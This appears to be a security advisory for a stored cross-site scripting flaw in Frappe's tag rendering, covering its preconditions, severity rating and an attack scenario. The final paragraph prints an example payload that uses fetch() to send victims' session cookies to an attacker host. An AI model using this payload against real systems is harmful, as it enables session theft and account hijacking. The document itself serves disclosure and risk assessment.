Frappe CVE-2026-3673

Authentication as a user with privileges to write to the _user_tags field (typically high-privilege roles such as System Manager or custom roles with tag-editing permissions). The target view must render tags in list or report format (default behavior in Frappe). User interaction is required: a victim must open the list/report view where the malicious tag is displayed, triggering the JavaScript execution in their browser session. The payload is stored server-side, so once injected, it persists across page reloads and affects all users who access the contaminated view. No special Frappe configuration is required beyond standard multi-user setup; tag rendering is enabled by default. Exploitation is blocked only if: (1) the victim never opens the affected view, (2) the victim's browser enforces restrictive CSP blocking inline execution, or (3) the attacker lacks privileges to edit _user_tags.

This is a real but constrained risk. The CVSS 4.6 (low severity) reflects multiple limiting factors: authenticated access required (PR:H), user interaction needed (UI:A), and limited technical impact (VI:L, SI:L only). The SSVC framework rates exploitation as 'poc' (proof-of-concept available, not widespread weaponization), further suggesting controlled risk. The attack vector is network (AV:N) and low complexity (AC:L), meaning exploitation is technically straightforward once credentials are obtained, but the authentication barrier is substantial. Attack scope remains unchanged (S:X unclear from vector, treated as contained), limiting lateral impact. Real-world risk depends heavily on the organization's access control posture: if many users have high-privilege accounts, or if shared/reused credentials are common, risk escalates significantly. The unescaped renderer is a systemic issue affecting any view displaying tags, so multiple injection points may exist. Organizations should prioritize this based on: (1) How many high-privilege users exist in their Frappe instance, (2) Whether those users handle sensitive or trusted workflows (financial, approvals), and (3) Whether they use Frappe with external integrations that could be compromised via session theft. The combination of stored nature (survives page reloads) and user interaction requirement makes this a classic supply-chain/trusted-user attack vector rather than broad internet exposure.

A Frappe administrator (or user with tag-editing permissions) is compromised or turns malicious. They create a new user or task record and inject a payload such as <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'> into the _user_tags field. When a colleague opens the list view to see all users or tasks, the tag payload executes in their browser, silently sending session cookies or credentials to the attacker's server. The attacker can then hijack the victim's session and perform actions with their privileges (approvals, data exports, etc.). Proof-of-concept code is available, confirming the vulnerability is reproducible.